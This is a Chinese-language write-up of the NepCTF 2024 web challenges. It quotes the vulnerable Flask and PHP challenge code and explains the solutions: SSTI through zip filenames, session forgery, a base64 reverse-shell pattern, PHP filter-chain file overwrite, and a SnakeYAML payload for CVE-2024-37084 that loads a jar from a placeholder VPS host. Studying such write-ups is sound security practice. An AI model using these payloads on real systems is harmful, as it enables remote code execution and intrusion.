NepCTF2024-web

NepCTF2024-web 复现

NepDouble

from flask import Flask, request,render_template,render_template_string
from zipfile import ZipFile
import os
import datetime
import hashlib
from jinja2 import Environment, FileSystemLoader

app = Flask(__name__,template_folder='static')
app.config['MAX_CONTENT_LENGTH'] = 1 * 1024 * 1024

UPLOAD_FOLDER = '/app/uploads'
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER

if not os.path.exists(UPLOAD_FOLDER):
    os.makedirs(UPLOAD_FOLDER)

template_env = Environment(loader=FileSystemLoader('static'), autoescape=True)


def render_template(template_name, **context):
    template = template_env.get_template(template_name)
    return template.render(**context)

def render_template_string(template_string, **context):
    template = template_env.from_string(template_string)
    return template.render(**context)


@app.route('/', methods=['GET', 'POST'])
def main():
    if request.method != "POST":
        return 'Please use POST method to upload files.'

    try:
        clear_uploads_folder()
        files = request.files.get('tp_file', None)
        if not files:
            return 'No file uploaded.'

        file_size = len(files.read())
        files.seek(0)


        file_extension = files.filename.rsplit('.', 1)[-1].lower()
        if file_extension != 'zip':
            return 'Invalid file type. Please upload a .zip file.'


        timestamp = datetime.datetime.now().strftime('%Y%m%d%H%M%S')
        md5_dir_name = hashlib.md5(timestamp.encode()).hexdigest()
        unzip_folder = os.path.join(app.config['UPLOAD_FOLDER'], md5_dir_name)
        os.makedirs(unzip_folder, exist_ok=True)


        with ZipFile(files) as zip_file:
            zip_file.extractall(path=unzip_folder)

        files_list = []
        for root, dirs, files in os.walk(unzip_folder):
            for file in files:
                print(file)
                file_path = os.path.join(root, file)
                relative_path = os.path.relpath(file_path, app.config['UPLOAD_FOLDER'])
                link = f'<a href="/cat?file={relative_path}">{file}</a>'
                files_list.append(link)

        return render_template_string('<br>'.join(files_list))

    except ValueError:
        return 'Invalid filename.'
    
    except Exception as e:
        return 'An error occurred. Please check your file and try again.'


@app.route('/cat')
def cat():
    file_path = request.args.get('file')
    if not file_path:
        return 'File path is missing.'

    new_file = os.path.join(app.config['UPLOAD_FOLDER'], file_path)
    # /app/uploads
    if os.path.commonprefix([os.path.abspath(new_file), os.path.abspath(app.config['UPLOAD_FOLDER'])]) != os.path.abspath(app.config['UPLOAD_FOLDER']):
        return 'Invalid file path.'

    if os.path.islink(new_file):
        return 'Symbolic links are not allowed.'
    
    try:
        filename = file_path.split('/')[-1]
        content = read_large_file(new_file)
        return render_template('test.html',content=content,filename=filename,dates=Exec_date())
    except FileNotFoundError:
        return 'File not found.'
    except IOError as e:
        return f'Error reading file: {str(e)}'

def Exec_date():
    d_res = os.popen('date').read()
    return d_res.split(" ")[-1].strip()+" "+d_res.split(" ")[-3]

def clear_uploads_folder():
    for root, dirs, files in os.walk(app.config['UPLOAD_FOLDER'], topdown=False):
        for file in files:
            os.remove(os.path.join(root, file))
        for dir in dirs:
            os.rmdir(os.path.join(root, dir))

def read_large_file(file_path):
    content = ''
    with open(file_path, 'r') as file:
        for line in file:
            content += line
    return content

if __name__ == '__main__':
    app.run('0.0.0.0',port="8000",debug=False)

逻辑简单，就两个功能

只允许上传zip文件，会自动解压，然后读取解压后的文件

我的错误思路（无需关注）

我一直在关注cat路由的读取文件功能，想着控制file参数（即relative_path）

    for root, dirs, files in os.walk(unzip_folder):
        for file in files:
            print(file)
            file_path = os.path.join(root, file)
            relative_path = os.path.relpath(file_path, app.config['UPLOAD_FOLDER'])
            link = f'<a href="/cat?file={relative_path}">{file}</a>'
            files_list.append(link)

    return render_template_string('<br>'.join(files_list))

而UPLOAD_FOLDER是/app/uploads，所以想要让relative_path为../../flag（当然并不确定flag的名称），file_path的值要为/flag，也就是file(即文件名)要为/flag

但尴尬的事情出现了，文件名中不能有/

于是思路报废

正确思路

for root, dirs, files in os.walk(unzip_folder):
    for file in files:
        print(file)
        file_path = os.path.join(root, file)
        relative_path = os.path.relpath(file_path, app.config['UPLOAD_FOLDER'])
        link = f'<a href="/cat?file={relative_path}">{file}</a>'
        files_list.append(link)

return render_template_string('<br>'.join(files_list))

还是这一段，render_template_string存在ssti漏洞

file即文件名能够控制

（其实这思路当时也想到了，但是不知道为什么没去尝试，太懒了，感觉现在的我很多时候不是没思路，只是不愿尝试，很烦）

于是文件名上写payload，然后压缩上传即可

boom_it

from flask import Flask, render_template, request, session, redirect, url_for
import threading
import random
import string
import datetime
import rsa
from werkzeug.utils import secure_filename
import os
import subprocess

(pubkey, privkey) = rsa.newkeys(2048)

app = Flask(__name__)
app.secret_key = "super_secret_key"



UPLOAD_FOLDER = 'templates/uploads'
ALLOWED_EXTENSIONS = {'png', 'jpg', 'txt'}

app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER

def allowed_file(filename):
    return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

@app.route('/admin', methods=['GET', 'POST'])
def admin():
    if request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        if username == 'admin' and password == users.get('admin', {}).get('password'):
            session['admin_logged_in'] = True
            return redirect(url_for('admin_dashboard'))
        else:
            return "Invalid credentials", 401
    return render_template('admin_login.html')

@app.route('/admin/dashboard', methods=['GET', 'POST'])
def admin_dashboard():
    if not session.get('admin_logged_in'):
        return redirect(url_for('admin'))

    if request.method == 'POST':
        if 'file' in request.files:
            file = request.files['file']
        if file.filename == '':
            return 'No selected file'
        filename = file.filename
        file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
        return 'File uploaded successfully'

    cmd_output = ""
    if 'cmd' in request.args:
        if os.path.exists("lock.txt"):  # 检查当前目录下是否存在lock.txt
            cmd = request.args.get('cmd')
            try:
                cmd_output = subprocess.check_output(cmd, shell=True).decode('utf-8')
            except Exception as e:
                cmd_output = str(e)
        else:
            cmd_output = "lock.txt not found. Command execution not allowed."
    return render_template('admin_dashboard.html', users=users, cmd_output=cmd_output, active_tab="cmdExecute")


@app.route('/admin/logout')
def admin_logout():
    session.pop('admin_logged_in', None)
    return redirect(url_for('index'))

# Generate random users
def generate_random_users(n):
    users = {}
    for _ in range(n):
        username = ''.join(random.choices(string.ascii_letters + string.digits, k=15))
        password = ''.join(random.choices(string.ascii_letters + string.digits, k=15))
        users[username] = {"password": password, "balance": 2000}
    return users

users = generate_random_users(1000)
users["HRP"] = {"password": "HRP", "balance": 6000}

# Add an admin user with a random password
admin_password = ''.join(random.choices(string.ascii_letters + string.digits, k=15))
users["admin"] = {"password": admin_password, "balance": 0}

flag_price = 10000
flag = admin_password  # The flag is the password of the admin user
mutex = threading.Lock()


@app.route('/')
def index():
    if "username" in session:
        return render_template("index.html", logged_in=True, username=session["username"], balance=users[session["username"]]["balance"])
    return render_template("index.html", logged_in=False)

@app.route('/reset', methods=['GET'])
def reset():
    global users
    users = {}  # Clear all existing users
    users = generate_random_users(1000)
    users["HRP"] = {"password": "HRP", "balance": 6000}
    global admin_password
    admin_password={}
    global flag
    # Add an admin user with a random password
    admin_password = ''.join(random.choices(string.ascii_letters + string.digits, k=15))
    flag=admin_password

    users["admin"] = {"password": admin_password, "balance": 0}
    
    return redirect(url_for('index'))


@app.route('/login', methods=["POST"])
def login():
    username = request.form.get("username")
    password = request.form.get("password")
    if username in users and users[username]["password"] == password:
        session["username"] = username
        return redirect(url_for('index'))
    return "Invalid credentials", 403

@app.route('/logout')
def logout():
    session.pop("username", None)
    return redirect(url_for('index'))


def log_transfer(sender, receiver, amount):
    def encrypt_data_with_rsa(data, pubkey):
        for _ in range(200):  # Encrypt the data multiple times
            encrypted_data = rsa.encrypt(data.encode(), pubkey)
        return encrypted_data.hex()

    timestamp = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S.%f')
    
    # Encrypt the amount and timestamp
    encrypted_amount = encrypt_data_with_rsa(str(amount), pubkey)
    encrypted_timestamp = encrypt_data_with_rsa(timestamp, pubkey)
    
    log_data = f"{encrypted_timestamp} - Transfer from {sender} to {receiver} of encrypted amount {encrypted_amount}\n"
    
    for _ in range(1): 
        log_data += f"Transaction initiated from device: {random.choice(['Mobile', 'Web', 'ATM', 'In-Branch Terminal'])}\n"
        log_data += f"Initiator IP address: {random.choice(['192.168.1.', '10.0.0.', '172.16.0.'])}{random.randint(1, 254)}\n"
        log_data += f"Initiator geolocation: Latitude {random.uniform(-90, 90):.6f}, Longitude {random.uniform(-180, 180):.6f}\n"
        log_data += f"Receiver's last login device: {random.choice(['Mobile', 'Web', 'ATM'])}\n"
        log_data += f"Associated fees: ${random.uniform(0.1, 3.0):.2f}\n"
        log_data += f"Remarks: {random.choice(['Regular transfer', 'Payment for invoice #'+str(random.randint(1000,9999)), 'Refund for transaction #'+str(random.randint(1000,9999))])}\n"
        log_data += "-"*50 + "\n"

    with open('transfer_log.txt', 'a') as f:
        f.write(log_data)




@app.route('/transfer', methods=["POST"])
def transfer():
    if "username" not in session:
        return "Not logged in", 403
    
    receivers = request.form.getlist("receiver")
    amount = int(request.form.get("amount"))
    if amount <0:
        return "Insufficient funds", 400
    logging_enabled = request.form.get("logs", "false").lower() == "true"
    
    if session["username"] in receivers:
        return "Cannot transfer to self", 400
    
    for receiver in receivers:
        if receiver not in users:
            return f"Invalid user {receiver}", 400
    
    total_amount = amount * len(receivers)
    if users[session["username"]]["balance"] >= total_amount:
        for receiver in receivers:
            if logging_enabled:
                log_transfer(session["username"], receiver, amount)
            mutex.acquire()
            users[session["username"]]["balance"] -= amount
            users[receiver]["balance"] += amount
            mutex.release()
        return redirect(url_for('index'))
    return "Insufficient funds", 400


@app.route('/buy_flag')
def buy_flag():
    if "username" not in session:
        return "Not logged in", 403

    if users[session["username"]]["balance"] >= flag_price:
        users[session["username"]]["balance"] -= flag_price
        return f"Here is your flag: {flag}"
    return "Insufficient funds", 400

@app.route('/get_users', methods=["GET"])
def get_users():
    num = int(request.args.get('num', 1000))
    selected_users = random.sample(list(users.keys()), num)
    return {"users": selected_users}

@app.route('/view_balance/<username>', methods=["GET"])
def view_balance(username):
    if username in users:
        return {"username": username, "balance": users[username]["balance"]}
    return "User not found", 404

@app.route('/force_buy_flag', methods=["POST"])
def force_buy_flag():
    if "username" not in session or session["username"] != "HRP":
        return "Permission denied", 403

    target_user = request.form.get("target_user")
    if target_user not in users:
        return "User not found", 404

    if users[target_user]["balance"] >= flag_price:
        users[target_user]["balance"] -= flag_price
        return f"User {target_user} successfully bought the flag!,"+f"Here is your flag: {flag}"
    return f"User {target_user} does not have sufficient funds", 400


if __name__ == "__main__":
    app.run(host='0.0.0.0',debug=False)

思路大概就是换分数达到10000买admin的密码，然后通过/admin路由进行rce

刚开始看到secret_key的时候不太相信，直到发现能够解密session

于是可以进行session伪造，并且可以通过/get_users路由获取所有用户名称

伪造后转到同一个账户中，然后买密码

/admin登陆后上传文件lock.txt （我还以为lock.txt是什么重要文件呢。。。）

目录穿越即可

反弹shell发现无权限读取flag

查看进程

不知道为什么burp自带浏览器一直加载不出来/admin的界面，所以后面就不尝试了

NepRouter – 狸猫换太子

一路点下来，注册了TEST用户，登录，就能下载router

这个router是路由器固件，它相当于app.py这种，运行它就会启动相应的服务

ida分析

在8080端口开启服务

查询数据库中注册的用户，登录判断是不是NepNepIStheBestTeam

而在注册时会被加密

我在做题时就是卡在不知道咋注册别的用户

这里的做法其实很简单，前端修改TEST为其他用户即可

因为加密逻辑就在前端，但是由于会一直debuger，所以我当时也没细看

修改为NepNepIStheBestTeam即可

然后就到router启动在8080端口的服务登录即可

接着就到了setrouter路由，存在命令执行

这里注意抓包发现会被url编码，但是这里路由器固件不会进行处理，所以要手动解码

NepRouter – 白给

#反弹shell
{echo,}|{base64,-d}|{bash,-i}

使用python3 -m http.server 3333开启http服务，把blood-pool-HRP下载下来

mysql无法直接用会报错

于是使用python去查询数据库

使用pip list可以查看已安装的库，其中就存在mysql-connector-python

import mysql.connector;connection = mysql.connector.connect(host="localhost",user="root",password="Nep+-*/HRP123456789",database="TradeSecrets");cursor = connection.cursor();query = "SELECT * from flag";cursor.execute(query);results = cursor.fetchall();print(results);cursor.close();connection.close()

PHP_MASTER

https://writeup.owo.show/lan-qiao-bei-2023#ezphp

原题，两处小变动

<?php
highlight_file( __FILE__);
error_reporting(0);

function substrstr($data)
{
    $start = mb_strpos($data, "[");
    $end = mb_strpos($data, "]");
    return mb_substr($data, $start + 1, $end - 1 - $start);
}
class A{
    public $key;
    public function readflag(){
        if($this->key=== "\0key\0"){
            $a = $_POST[1];
            $contents = file_get_contents($a);
            file_put_contents($a, $contents);

        }
    }
}

class B
{
    public $b;
    public function __tostring()
    {
        if(preg_match("/\[|\]/i", $_GET['nep'])){
            die("NONONO!!!");
        }
        $str = substrstr($_GET['nep1']."[welcome to". $_GET['nep']."CTF]");
        echo $str;
        if ($str==='NepCTF]'){
            return ($this->b) ();
        }
    }
}
class C
{

    public $s;
    public $str;

    public function __construct($s)
    {
        $this->s = $s;
    }

    public function __destruct()
    {
        echo $this ->str;
    }
}
$ser = serialize(new C($_GET['c']));
$data = str_ireplace("\0","00",$ser);
unserialize($data);

然后

function substrstr($data)
{
    $start = mb_strpos($data, "[");
    $end = mb_strpos($data, "]");
    return mb_substr($data, $start + 1, $end - 1 - $start);
}

思路是使$end-1-$start为负数，使得提取的内容能被nep1控制

经过测试]1231231231231[NepCTF]即可

非预期

phpinfo查看环境变量

预期

就像原题中的用大写S解析\00从而避免后面被替换

$a = $_POST[1];
$contents = file_get_contents($a);
file_put_contents($a, $contents);

接着通过这些代码尝试进行rce

其实我思考了一会就想要尝试filterchain去覆盖index.php

但是我一打发现服务崩掉了

赛后发现就是预期解

复现时尝试了几个马都不行，甚至phpinfo会导致服务宕机

经过多次测试发现php_filter_chain_generator生成的payload第一次的编码不是普通的base64，所以可能导致后面构造字符出现问题

解决方法就是先进行一次base64加密，然后再使用生成的payload

Always RCE First

看附件

很容易找到对应的CVE-2024-37084

但是不好搜索到对应的poc

实际上已经有了https://forum.butian.net/article/513

根据文章复现即可

apiVersion: 1.0.0
origin: my origin
repositoryId: 12345
repositoryName: local
kind: !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://vps_ip:port/yaml-payload.jar"]]]]
name: test1
version: 1.1.1

脚本转换得到 packageFileAsBytes

with open('test-1.1.1.zip','rb') as file:
    zip_data = file.read()

print([byte for byte in zip_data])

javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

注意要使用1.8.0_202版本的javac和jar

解法二

同样是/api/package/upload的上传功能

能够进行目录穿越进行文件覆盖，从而进行RCE

可以通过覆盖charsets.jar进行RCE

https://github.com/LandGrey/spring-boot-upload-file-lead-to-rce-tricks

把charsets.jar打包成zip

同样用脚本转换得到 packageFileAsBytes

上传功能详细请看文章CVE-2024-22263: Spring Cloud Dataflow Arbitrary File Writing - SecureLayer7 - Offensive Security, API Scanner & Attack Surface Management

会在lib同目录下生成lib-version.zip

然后会解压zip文件到lib目录下

然后Accept请求头中指定charset加载charsets.jar，成功进行rce

要注意只能指定一次，因为charsets.jar只会被加载一次

reference

NepCTF 2024 | 晨曦的个人小站 (chenxi9981.github.io)

NepCTF2024 (yuque.com)